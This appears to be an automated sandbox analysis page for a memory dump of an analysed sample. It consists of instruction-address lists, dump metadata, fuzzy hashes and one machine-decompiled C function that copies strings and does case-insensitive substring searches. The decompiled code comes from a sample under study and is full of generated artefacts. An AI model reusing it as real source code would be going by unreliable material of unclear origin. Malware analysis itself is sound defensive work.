0x6e67241c
0x00000000
0x00000000
0x00000000
0x6e67241c
0x6e672405
0x6e672401
0x6e67241e
0x6e67241e
0x6e672420
0x6e672421
0x6e672426
0x6e672426
0x00000000
0x6e67228d
0x6e67228d
0x6e672291
0x6e672295
0x00000000
0x6e67229b
0x6e67229b
0x6e67229d
0x6e67229f
0x6e6722a1
0x6e6722a5
0x6e6722a5
0x6e6722a8
0x6e6722c0
0x6e6722d0
0x6e6722d0
0x6e6722d6
0x6e6722d6
0x6e6722db
0x6e6722df
0x6e6722e3
0x6e6722e5
0x00000000
0x00000000
0x6e6722eb
0x6e6722ee
0x6e6722f0
0x00000000
0x6e6722f2
0x6e6722f2
0x6e6722f8
0x6e67230d
0x6e67230d
0x6e6722fa
0x6e6722fa
0x6e6722fe
0x6e6722fe
0x6e672302
0x00000000
0x00000000
0x6e672304
0x6e672305
0x6e67230b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e67230b
0x6e6722fe
0x6e6722f8
0x00000000
0x6e6722f0
0x6e672467
0x6e67246a
0x6e6722aa
0x6e6722ac
0x6e6722ae
0x6e6722b2
0x6e6722b2
0x6e6722b5
0x6e6722b5
0x6e6722b9
0x00000000
0x00000000
0x6e6722bb
0x6e6722bc
0x6e6722be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6722be
0x6e6722b5
0x6e6722a8
0x6e672312
0x6e672317
0x6e672317
0x6e67231a
0x6e67231d
0x6e672320
0x6e672322
0x6e672335
0x6e672338
0x6e672338
0x6e67233e
0x6e672346
0x6e672346
0x6e672346
0x6e672349
0x6e672350
0x6e672353
0x6e672359
0x6e67235b
0x6e672361
0x6e672363
0x6e672365
0x6e6723b4
0x6e672367
0x6e672367
0x6e672369
0x6e67236b
0x6e67236e
0x6e672370
0x6e672372
0x6e672374
0x6e672376
0x6e67237a
0x6e67237d
0x6e67237f
0x6e67237f
0x6e672380
0x6e672385
0x6e672389
0x6e67238b
0x00000000
0x00000000
0x6e67238d
0x6e672391
0x6e672394
0x6e672396
0x00000000
0x00000000
0x00000000
0x6e672396
0x6e672398
0x6e67239c
0x6e67239c
0x6e672372
0x6e67239f
0x6e6723a1
0x6e6723a2
0x6e6723a6
0x6e6723ab
0x6e6723af
0x6e6723af
0x6e6723b7
0x6e6723ba
0x6e6723bd
0x6e672324
0x6e672324
0x6e672324
0x6e6723bf
0x6e6723c1
0x6e6723c3
0x6e6723c9
0x6e6723c9
0x6e6723cc
0x6e6723cd
0x6e6723cf
0x6e6723d1
0x00000000
0x00000000
0x6e6723d3
0x6e6723d5
0x6e672461
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6723db
0x6e6723db
0x6e6723dd
0x6e6723c7
0x6e6723c8
0x6e6723c8
0x00000000
0x6e6723c8
0x00000000
0x6e6723dd
0x6e6723c9
0x6e6723c1
0x6e672295
0x6e672189
0x6e672189
0x6e67218e
0x6e672190
0x6e672192
0x6e67219a
0x6e67219c
0x6e6721a2
0x6e6721a4
0x6e6721a6
0x6e6721e0
0x6e6721a8
0x6e6721a8
0x6e6721aa
0x6e6721ac
0x6e6721af
0x6e6721b1
0x6e6721b3
0x6e6721b5
0x6e6721b5
0x6e6721b7
0x6e6721b7
0x6e6721b8
0x6e6721bd
0x6e6721c1
0x6e6721c3
0x00000000
0x00000000
0x6e6721c5
0x6e6721c9
0x6e6721cc
0x6e6721ce
0x00000000
0x00000000
0x00000000
0x6e6721ce
0x6e6721b7
0x6e6721b3
0x6e6721d0
0x6e6721d0
0x6e6721d2
0x6e6721d3
0x6e6721d8
0x6e6721d8
0x6e67242e
0x6e67242e
0x6e672431
0x6e672433
0x6e672433
0x6e672187
0x00000000
0x00000000
0x00000000
0x6e672082
0x6e67243a
0x6e67243a
0x6e67243c
0x6e672440
0x6e67244a
0x6e67244e
0x6e67245e
0x00000000

Strings

@, xrefs: 6E671F18

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction ID: 073fb690d39229c21db51d77f8c9da196ab64620a9b5644bd4876412f688262b
Opcode Fuzzy Hash: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction Fuzzy Hash: 2C3219B1A083938BEF21CBA9C49071A7BE27FD7310F14866DE8A48B355EB35C941C752

Uniqueness

Uniqueness Score: -1.00%

Function 6E6726B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6E6726B0(signed int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t183;
				signed int _t184;
				signed int* _t190;
				signed int _t194;
				signed int* _t195;
				signed int _t200;
				signed int _t204;
				void* _t206;
				signed int _t209;
				signed int _t212;
				signed int _t217;
				signed int* _t219;
				signed int _t220;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t231;
				signed int _t232;
				signed int _t235;
				char _t236;
				signed int _t240;
				void* _t241;
				void* _t242;
				unsigned int _t247;
				signed int _t249;
				signed int _t250;
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				char _t260;
				char _t261;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				signed int _t272;
				signed int _t273;
				signed int _t275;
				signed int _t277;
				signed int _t279;
				signed int _t280;
				void* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				void* _t285;
				signed int _t289;
				void* _t290;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t303;
				signed int _t305;
				char _t306;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t329;
				char _t331;
				char _t332;
				char _t333;
				signed int _t335;
				unsigned int _t340;
				signed int _t342;
				intOrPtr _t344;
				intOrPtr _t346;
				signed int _t347;
				signed int _t356;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t373;
				intOrPtr* _t376;
				signed int _t377;
				signed int _t383;
				signed int _t384;
				void* _t387;

				_v52 = 0;
				_t231 = __ecx;
				_v48 = 0;
				_push(0x40);
				_t335 = E6E661030();
				_t387 = (_t384 & 0xfffffff0) - 0x34 + 4;
				_t183 = _v52;
				if(_t183 == 0) {
					 *_t335 = 0;
					L8:
					_t184 = _a8;
					_v48 = 0x40;
					_v52 = _t335;
					if(_t184 != 0) {
						__eflags = _t335;
						if(_t335 == 0) {
							_t257 = 0x40;
							_t361 = 0;
							L22:
							_t20 = _t361 + 2; // 0x80000001
							_t290 = _t20;
							__eflags = _t290 - 0x40;
							_t291 =  <=  ? 0x40 : _t290;
							__eflags = _t257 - _t291;
							if(_t257 < _t291) {
								_t340 = (_t291 >> 5 >> 0x1a) + _t291 >> 6;
								_t292 = _t291 & 0x8000003f;
								__eflags = _t292;
								if(_t292 < 0) {
									_t292 = (_t292 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t292;
								}
								__eflags = _t292;
								_t342 = _t340 + (0 | _t292 > 0x00000000) << 6;
								_push(_t342);
								_t258 = E6E661030();
								_t387 = _t387 + 4;
								_t293 = _v52;
								__eflags = _t293;
								if(_t293 == 0) {
									 *_t258 = 0;
									goto L35;
								} else {
									__eflags = _t258;
									if(_t258 == 0) {
										L33:
										_push(1);
										_push(_t293);
										_v68 = _t258;
										E6E6610B0();
										_t258 = _v68;
										_t387 = _t387 + 8;
										L35:
										_v48 = _t342;
										_v52 = _t258;
										L36:
										 *((char*)(_t258 + _t361)) = _a8;
										_t190 =  &_v52;
										 *((char*)(_t361 +  *_t190 + 1)) = 0;
										L37:
										_t259 =  *_t190;
										if(_t259 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t232 = E6E661030();
											_t387 = _t387 + 4;
											_t194 =  *_a4;
											if(_t194 == 0) {
												 *_t232 = 0;
												L60:
												_t195 = _a4;
												 *_t195 = _t232;
												_t195[1] = 0x40;
												L61:
												_push(1);
												_push(_v52);
												E6E6610B0();
												_v52 = 0;
												_v48 = 0;
												return _a4;
											}
											if(_t232 == 0) {
												L45:
												_push(1);
												_push(_t194);
												E6E6610B0();
												_t387 = _t387 + 8;
												goto L60;
											}
											_t296 =  *_t194;
											 *_t232 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t260 =  *((char*)(_t194 + _t297 * 2 - 1));
												 *((char*)(_t232 + _t297 * 2 - 1)) = _t260;
												if(_t260 == 0) {
													goto L45;
												}
												_t261 =  *((char*)(_t194 + _t297 * 2));
												 *((char*)(_t232 + _t297 * 2)) = _t261;
												if(_t261 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t344 =  *_t259;
										if(_t344 != 0) {
											_t200 =  *_t231;
											__eflags = _t200;
											if(_t200 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t232 = E6E661030();
												_t387 = _t387 + 4;
												_t204 =  *_a4;
												__eflags = _t204;
												if(_t204 == 0) {
													 *_t232 = 0;
													goto L60;
												}
												__eflags = _t232;
												if(_t232 == 0) {
													L58:
													_push(1);
													_push(_t204);
													E6E6610B0();
													_t387 = _t387 + 8;
													goto L60;
												}
												_t299 =  *_t204;
												 *_t232 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t262 =  *((char*)(_t204 + _t300 * 2 - 1));
													 *(_t232 + _t300 * 2 - 1) = _t262;
													__eflags = _t262;
													if(_t262 == 0) {
														goto L58;
													}
													_t263 =  *((char*)(_t204 + _t300 * 2));
													 *(_t232 + _t300 * 2) = _t263;
													__eflags = _t263;
													if(_t263 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t200;
											if( *_t200 == 0) {
												goto L52;
											}
											_v44 = _t344;
											_t62 = _t344 - 0x41; // 0x7fffffc0
											_t363 = _t62;
											__eflags = _t363 - 0x19;
											_t63 = _t344 + 0x20; // 0x80000021
											_v64 = _t363;
											_t302 =  >  ? _t344 : _t63;
											_t234 =  >  ? _t344 : _t63;
											_t303 = 0;
											__eflags = 0;
											_v68 =  >  ? _t344 : _t63;
											_v32 = _t259;
											_t235 = _t200;
											while(1) {
												_t264 =  *_t235;
												_t66 = _t264 - 0x41; // -65
												__eflags = _t66 - 0x19;
												_t67 = _t264 + 0x20; // 0x20
												_t265 =  <=  ? _t67 :  *_t235;
												__eflags = ( <=  ? _t67 :  *_t235) - _v68;
												if(( <=  ? _t67 :  *_t235) == _v68) {
													break;
												}
												_t303 = _t303 + 1;
												_t235 = _t235 + 1;
												__eflags =  *((char*)(_t303 + _t200));
												if( *((char*)(_t303 + _t200)) != 0) {
													continue;
												}
												goto L52;
											}
											_t346 = _v44;
											_t266 = _v32;
											__eflags = _t235;
											if(_t235 == 0) {
												goto L52;
											}
											_t305 = _t266 & 0x0000000f;
											_v40 = _t346 + 0x20;
											asm("pxor xmm0, xmm0");
											_v36 = _t200;
											_t368 =  ~_t305 + 0x10;
											__eflags = _t368;
											_v44 = _t346;
											_v32 = _t266;
											do {
												_t347 = _t305;
												__eflags = _t305;
												if(_t305 == 0) {
													L69:
													_v28 = _t368;
													_t272 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t272;
													_t369 = _v32;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t200;
														if(_t200 != 0) {
															break;
														}
														_t347 = _t347 + 0x10;
														__eflags = _t347 - _t272;
														if(_t347 < _t272) {
															continue;
														}
														_v32 = _t369;
														_t370 = _v28;
														__eflags = _t272 - 0x7fffffff;
														if(_t272 >= 0x7fffffff) {
															L77:
															_t272 = 0x7fffffff;
															L78:
															_v56 = _t272;
															_t206 = 0;
															__eflags = 0;
															_v60 = _t305;
															_v28 = _t370;
															_t273 = _v32;
															while(1) {
																_t306 =  *((char*)(_t206 + _t235));
																_v68 = _t235;
																_t236 =  *((char*)(_t206 + _t273));
																__eflags = _t306 - 0x61 - 0x19;
																_t307 =  <=  ? _t306 - 0x20 : _t306;
																__eflags = _t236 - 0x61 - 0x19;
																_t308 =  <=  ? _t306 - 0x20 : _t306;
																_t237 =  <=  ? _t236 - 0x20 : _t236;
																_t238 =  <=  ? _t236 - 0x20 : _t236;
																__eflags = _t308 - ( <=  ? _t236 - 0x20 : _t236);
																_t235 = _v68;
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t308;
																if(_t308 == 0) {
																	L83:
																	_t209 = _v36;
																	_t305 = _v60;
																	_t368 = _v28;
																	L84:
																	__eflags = _t235;
																	if(_t235 == 0) {
																		goto L52;
																	}
																	__eflags = _t305;
																	if(_t305 == 0) {
																		L89:
																		_t356 =  ~( ~_t305 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																		__eflags = _t356;
																		while(1) {
																			asm("movdqu xmm1, [ecx+edx]");
																			asm("pcmpeqb xmm1, xmm0");
																			asm("pmovmskb esi, xmm1");
																			__eflags = _t368;
																			if(_t368 != 0) {
																				break;
																			}
																			_t305 = _t305 + 0x10;
																			__eflags = _t305 - _t356;
																			if(_t305 < _t356) {
																				continue;
																			}
																			__eflags = _t356 - 0x7fffffff;
																			if(_t356 >= 0x7fffffff) {
																				L95:
																				_t356 = 0x7fffffff;
																				L96:
																				_t277 = _t209 & 0x0000000f;
																				__eflags = _t277;
																				if(_t277 == 0) {
																					L100:
																					_t317 =  ~( ~_t277 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																					__eflags = _t317;
																					while(1) {
																						asm("movdqu xmm1, [eax+ecx]");
																						asm("pcmpeqb xmm1, xmm0");
																						asm("pmovmskb esi, xmm1");
																						__eflags = _t368;
																						if(_t368 != 0) {
																							break;
																						}
																						_t277 = _t277 + 0x10;
																						__eflags = _t277 - _t317;
																						if(_t277 < _t317) {
																							continue;
																						}
																						__eflags = _t317 - 0x7fffffff;
																						if(_t317 >= 0x7fffffff) {
																							L106:
																							_t317 = 0x7fffffff;
																							L107:
																							_t240 = _t235 - _t209 + _t356;
																							__eflags = _t240;
																							_t376 = _a4;
																							_t241 =  <=  ? 0 : _t240;
																							__eflags = _t317 - _t241;
																							 *_t376 = 0;
																							_t242 =  <  ? _t317 : _t241;
																							_t318 = _t317 - _t242;
																							 *((intOrPtr*)(_t376 + 4)) = 0;
																							_t358 = _t209 + _t242;
																							__eflags = _t358;
																							_v64 = _t358;
																							if(_t358 == 0) {
																								L142:
																								_push(0x40);
																								_t232 = E6E661030();
																								_t387 = _t387 + 4;
																								_t212 =  *_a4;
																								__eflags = _t212;
																								if(_t212 == 0) {
																									 *_t232 = 0;
																									goto L60;
																								}
																								__eflags = _t232;
																								if(_t232 == 0) {
																									L148:
																									_push(1);
																									_push(_t212);
																									E6E6610B0();
																									_t387 = _t387 + 8;
																									goto L60;
																								}
																								_t319 =  *_t212;
																								 *_t232 = _t319;
																								__eflags = _t319;
																								if(_t319 == 0) {
																									goto L148;
																								}
																								_t320 = 0;
																								__eflags = 0;
																								while(1) {
																									_t320 = _t320 + 1;
																									_t279 =  *((char*)(_t212 + _t320 * 2 - 1));
																									 *(_t232 + _t320 * 2 - 1) = _t279;
																									__eflags = _t279;
																									if(_t279 == 0) {
																										goto L148;
																									}
																									_t280 =  *((char*)(_t212 + _t320 * 2));
																									 *(_t232 + _t320 * 2) = _t280;
																									__eflags = _t280;
																									if(_t280 != 0) {
																										continue;
																									}
																									goto L148;
																								}
																								goto L148;
																							}
																							__eflags =  *(_t209 + _t242);
																							if( *(_t209 + _t242) == 0) {
																								goto L142;
																							}
																							__eflags = _t318;
																							if(_t318 != 0) {
																								L121:
																								_t129 = _t318 + 1; // 0x80000000
																								_t281 = _t129;
																								__eflags = _t281 - 0x40;
																								_t282 =  <=  ? 0x40 : _t281;
																								__eflags = _t282;
																								if(_t282 > 0) {
																									_t247 = (_t282 >> 5 >> 0x1a) + _t282 >> 6;
																									_t283 = _t282 & 0x8000003f;
																									__eflags = _t283;
																									if(_t283 < 0) {
																										_t283 = (_t283 - 0x00000001 | 0xffffffc0) + 1;
																										__eflags = _t283;
																									}
																									__eflags = _t283;
																									_t249 = _t247 + (0 | _t283 > 0x00000000) << 6;
																									_push(_t249);
																									_v68 = _t318;
																									_t217 = E6E661030();
																									_t318 = _v68;
																									_t377 = _t217;
																									_t387 = _t387 + 4;
																									_t284 =  *_a4;
																									__eflags = _t284;
																									if(_t284 == 0) {
																										 *_t377 = 0;
																										goto L134;
																									} else {
																										__eflags = _t377;
																										if(_t377 == 0) {
																											L132:
																											_push(1);
																											_push(_t284);
																											_v68 = _t318;
																											E6E6610B0();
																											_t318 = _v68;
																											_t387 = _t387 + 8;
																											L134:
																											_t219 = _a4;
																											_t219[1] = _t249;
																											 *_t219 = _t377;
																											L135:
																											__eflags = _t377;
																											if(_t377 == 0) {
																												goto L61;
																											}
																											_t250 = _v64;
																											_t285 = 0;
																											while(1) {
																												_t220 =  *_t250;
																												_t285 = _t285 + 1;
																												 *_t377 = _t220;
																												__eflags = _t318;
																												if(_t318 == 0) {
																													goto L140;
																												}
																												__eflags = _t285 - _t318;
																												if(_t285 == _t318) {
																													 *(_t377 + 1) = 0;
																													goto L61;
																												}
																												L140:
																												__eflags = _t220;
																												if(_t220 == 0) {
																													goto L61;
																												}
																												_t377 = _t377 + 1;
																												_t250 = _t250 + 1;
																												__eflags = _t250;
																											}
																										}
																										_t222 =  *_t284;
																										 *_t377 = _t222;
																										__eflags = _t222;
																										if(_t222 == 0) {
																											goto L132;
																										}
																										_v68 = _t318;
																										_t359 = 0;
																										__eflags = 0;
																										while(1) {
																											_t359 = _t359 + 1;
																											_t223 =  *((char*)(_t284 + _t359 * 2 - 1));
																											 *(_t377 + _t359 * 2 - 1) = _t223;
																											__eflags = _t223;
																											if(_t223 == 0) {
																												break;
																											}
																											_t224 =  *((char*)(_t284 + _t359 * 2));
																											 *(_t377 + _t359 * 2) = _t224;
																											__eflags = _t224;
																											if(_t224 != 0) {
																												continue;
																											}
																											break;
																										}
																										_t318 = _v68;
																										goto L132;
																									}
																								}
																								_t377 = 0;
																								goto L135;
																							}
																							_t225 = _t209 + _t242;
																							_t252 = _t225 & 0x0000000f;
																							__eflags = _t252;
																							if(_t252 == 0) {
																								L114:
																								_t318 =  ~( ~_t252 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																								__eflags = _t318;
																								while(1) {
																									asm("movdqu xmm1, [eax+ebx]");
																									asm("pcmpeqb xmm1, xmm0");
																									asm("pmovmskb ecx, xmm1");
																									__eflags = 0;
																									if(0 != 0) {
																										break;
																									}
																									_t252 = _t252 + 0x10;
																									__eflags = _t252 - _t318;
																									if(_t252 < _t318) {
																										continue;
																									}
																									__eflags = _t318 - 0x7fffffff;
																									if(_t318 >= 0x7fffffff) {
																										L120:
																										_t318 = 0x7fffffff;
																										goto L121;
																									} else {
																										goto L118;
																									}
																									while(1) {
																										L118:
																										__eflags =  *((char*)(_t318 + _t225));
																										if( *((char*)(_t318 + _t225)) == 0) {
																											goto L121;
																										}
																										_t318 = _t318 + 1;
																										__eflags = _t318 - 0x7fffffff;
																										if(_t318 < 0x7fffffff) {
																											continue;
																										}
																										goto L120;
																									}
																									goto L121;
																								}
																								asm("bsf edx, ecx");
																								_t318 = _t318 + _t252;
																								goto L121;
																							}
																							_t318 = 0;
																							_t252 =  ~_t252 + 0x10;
																							__eflags = _t252;
																							while(1) {
																								__eflags =  *((char*)(_t318 + _t225));
																								if( *((char*)(_t318 + _t225)) == 0) {
																									goto L121;
																								}
																								_t318 = _t318 + 1;
																								__eflags = _t318 - _t252;
																								if(_t318 < _t252) {
																									continue;
																								}
																								goto L114;
																							}
																							goto L121;
																						} else {
																							goto L104;
																						}
																						while(1) {
																							L104:
																							__eflags =  *((char*)(_t317 + _t209));
																							if( *((char*)(_t317 + _t209)) == 0) {
																								goto L107;
																							}
																							_t317 = _t317 + 1;
																							__eflags = _t317 - 0x7fffffff;
																							if(_t317 < 0x7fffffff) {
																								continue;
																							}
																							goto L106;
																						}
																						goto L107;
																					}
																					asm("bsf edx, esi");
																					_t317 = _t317 + _t277;
																					goto L107;
																				}
																				_t317 = 0;
																				_t277 =  ~_t277 + 0x10;
																				__eflags = _t277;
																				while(1) {
																					__eflags =  *((char*)(_t317 + _t209));
																					if( *((char*)(_t317 + _t209)) == 0) {
																						goto L107;
																					}
																					_t317 = _t317 + 1;
																					__eflags = _t317 - _t277;
																					if(_t317 < _t277) {
																						continue;
																					}
																					goto L100;
																				}
																				goto L107;
																			} else {
																				goto L93;
																			}
																			while(1) {
																				L93:
																				__eflags =  *((char*)(_t356 + _t273));
																				if( *((char*)(_t356 + _t273)) == 0) {
																					goto L96;
																				}
																				_t356 = _t356 + 1;
																				__eflags = _t356 - 0x7fffffff;
																				if(_t356 < 0x7fffffff) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L96;
																		}
																		asm("bsf edi, esi");
																		_t356 = _t356 + _t305;
																		goto L96;
																	}
																	_t305 = _t368;
																	_t356 = 0;
																	__eflags = 0;
																	while(1) {
																		__eflags =  *((char*)(_t356 + _t273));
																		if( *((char*)(_t356 + _t273)) == 0) {
																			goto L96;
																		}
																		_t356 = _t356 + 1;
																		__eflags = _t356 - _t368;
																		if(_t356 < _t368) {
																			continue;
																		}
																		goto L89;
																	}
																	goto L96;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v56;
																if(_t206 < _v56) {
																	continue;
																}
																goto L83;
															}
															_v32 = _t273;
															_t309 = _v60;
															_t373 = _v28;
															_t275 = _t235 + 1;
															__eflags = _t275;
															if(_t275 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v40 : _v44;
															_t200 =  <=  ? _v40 : _v44;
															__eflags =  *(_t235 + 1);
															if( *(_t235 + 1) == 0) {
																goto L52;
															}
															_v60 = _t309;
															_v28 = _t373;
															while(1) {
																_t235 = _t235 + 1;
																_t275 = _t275 + 1;
																_t310 =  *_t235 & 0x000000ff;
																__eflags =  *((char*)(_t275 - 1)) + 0xffffffbf - 0x19;
																_t311 =  <=  ? _t310 + 0x20 : _t310;
																__eflags = ( <=  ? _t310 + 0x20 : _t310) - _t200;
																if(( <=  ? _t310 + 0x20 : _t310) == _t200) {
																	goto L165;
																}
																__eflags =  *_t275;
																if( *_t275 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L165;
														}
														_t200 = _v32;
														while(1) {
															__eflags =  *((char*)(_t272 + _t200));
															if( *((char*)(_t272 + _t200)) == 0) {
																break;
															}
															_t272 = _t272 + 1;
															__eflags = _t272 - 0x7fffffff;
															if(_t272 < 0x7fffffff) {
																continue;
															}
															_v32 = _t200;
															goto L77;
														}
														L160:
														_v32 = _t200;
														L161:
														__eflags = _t272;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														_t209 = _v36;
														_t273 = _v32;
														goto L84;
													}
													asm("bsf ecx, eax");
													_v32 = _t369;
													_t272 = _t272 + _t347;
													_t370 = _v28;
													goto L161;
												}
												_t200 = _v32;
												_t347 = _t368;
												_t272 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t272 + _t200));
													if( *((char*)(_t272 + _t200)) == 0) {
														goto L160;
													}
													_t272 = _t272 + 1;
													__eflags = _t272 - _t368;
													if(_t272 < _t368) {
														continue;
													}
													_v32 = _t200;
													goto L69;
												}
												goto L160;
												L165:
												_t305 = _v60;
												_t368 = _v28;
												__eflags = _t235;
											} while (_t235 != 0);
											goto L52;
										}
										goto L39;
									}
									_t227 =  *_t293;
									 *_t258 = _t227;
									__eflags = _t227;
									if(_t227 == 0) {
										goto L33;
									}
									_v60 = _t342;
									_t228 = 0;
									__eflags = 0;
									_v64 = _t361;
									_v68 = _t231;
									while(1) {
										_t228 = _t228 + 1;
										_t254 =  *((char*)(_t293 + _t228 * 2 - 1));
										 *(_t258 + _t228 * 2 - 1) = _t254;
										__eflags = _t254;
										if(_t254 == 0) {
											break;
										}
										_t255 =  *((char*)(_t293 + _t228 * 2));
										 *(_t258 + _t228 * 2) = _t255;
										__eflags = _t255;
										if(_t255 != 0) {
											continue;
										}
										break;
									}
									_t342 = _v60;
									_t361 = _v64;
									_t231 = _v68;
									goto L33;
								}
							}
							_t258 = _v52;
							goto L36;
						}
						_t329 = _t335 & 0x0000000f;
						__eflags = _t329;
						if(_t329 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t383 =  ~( ~_t329 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t383;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t184;
								if(_t184 != 0) {
									break;
								}
								_t329 = _t329 + 0x10;
								__eflags = _t329 - _t383;
								if(_t329 < _t383) {
									continue;
								}
								__eflags = _t383 - 0x7fffffff;
								if(_t383 >= 0x7fffffff) {
									L21:
									_t257 = 0x40;
									_t361 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t383 + _t335));
									if( *((char*)(_t383 + _t335)) == 0) {
										break;
									}
									_t383 = _t383 + 1;
									__eflags = _t383 - 0x7fffffff;
									if(_t383 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L167:
								__eflags = _t361 - 0xfffffffe;
								if(_t361 != 0xfffffffe) {
									_t257 = 0x40;
								} else {
									 *_t335 = 0;
									_t257 = _v48;
								}
								goto L22;
							}
							asm("bsf esi, eax");
							_t361 = _t383 + _t329;
							goto L167;
						}
						_t361 = 0;
						_t329 =  ~_t329 + 0x10;
						__eflags = _t329;
						while(1) {
							__eflags =  *((char*)(_t361 + _t335));
							if( *((char*)(_t361 + _t335)) == 0) {
								goto L167;
							}
							_t361 = _t361 + 1;
							__eflags = _t361 - _t329;
							if(_t361 < _t329) {
								continue;
							}
							goto L15;
						}
						goto L167;
					}
					_t190 =  &_v52;
					goto L37;
				}
				if(_t335 == 0) {
					L6:
					_push(1);
					_push(_t183);
					E6E6610B0();
					_t387 = _t387 + 8;
					goto L8;
				}
				_t331 =  *_t183;
				 *_t335 = _t331;
				if(_t331 == 0) {
					goto L6;
				}
				_t289 = 0;
				while(1) {
					_t289 = _t289 + 1;
					_t332 =  *((char*)(_t183 + _t289 * 2 - 1));
					 *((char*)(_t335 + _t289 * 2 - 1)) = _t332;
					if(_t332 == 0) {
						goto L6;
					}
					_t333 =  *((char*)(_t183 + _t289 * 2));
					 *((char*)(_t335 + _t289 * 2)) = _t333;
					if(_t333 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6e6726be
0x6e6726c2
0x6e6726c4
0x6e6726c8
0x6e6726cf
0x6e6726d1
0x6e6726d4
0x6e6726da
0x6e672711
0x6e672714
0x6e672714
0x6e672718
0x6e672720
0x6e672726
0x6e672731
0x6e672733
0x6e672e47
0x6e672e4c
0x6e6727ad
0x6e6727b2
0x6e6727b2
0x6e6727b5
0x6e6727b8
0x6e6727bb
0x6e6727bd
0x6e6727d2
0x6e6727d5
0x6e6727d5
0x6e6727db
0x6e6727e3
0x6e6727e3
0x6e6727e3
0x6e6727e6
0x6e6727ed
0x6e6727f0
0x6e6727f6
0x6e6727f8
0x6e6727fb
0x6e6727ff
0x6e672801
0x6e672856
0x00000000
0x6e672803
0x6e672803
0x6e672805
0x6e672841
0x6e672841
0x6e672843
0x6e672844
0x6e672848
0x6e67284d
0x6e672851
0x6e672859
0x6e672859
0x6e67285d
0x6e672861
0x6e672865
0x6e672868
0x6e67286e
0x6e672873
0x6e672873
0x6e672877
0x6e672880
0x6e672880
0x6e672885
0x6e672887
0x6e672889
0x6e672891
0x6e672893
0x6e672899
0x6e67289d
0x6e6728d7
0x6e672983
0x6e672983
0x6e672986
0x6e672988
0x6e67298f
0x6e67298f
0x6e672991
0x6e672995
0x6e67299f
0x6e6729a3
0x6e6729b3
0x6e6729b3
0x6e6728a1
0x6e6728c7
0x6e6728c7
0x6e6728c9
0x6e6728ca
0x6e6728cf
0x00000000
0x6e6728cf
0x6e6728a3
0x6e6728a6
0x6e6728aa
0x00000000
0x00000000
0x6e6728ac
0x6e6728ae
0x6e6728ae
0x6e6728af
0x6e6728b4
0x6e6728ba
0x00000000
0x00000000
0x6e6728bc
0x6e6728c0
0x6e6728c5
0x00000000
0x00000000
0x00000000
0x6e6728c5
0x00000000
0x6e6728ae
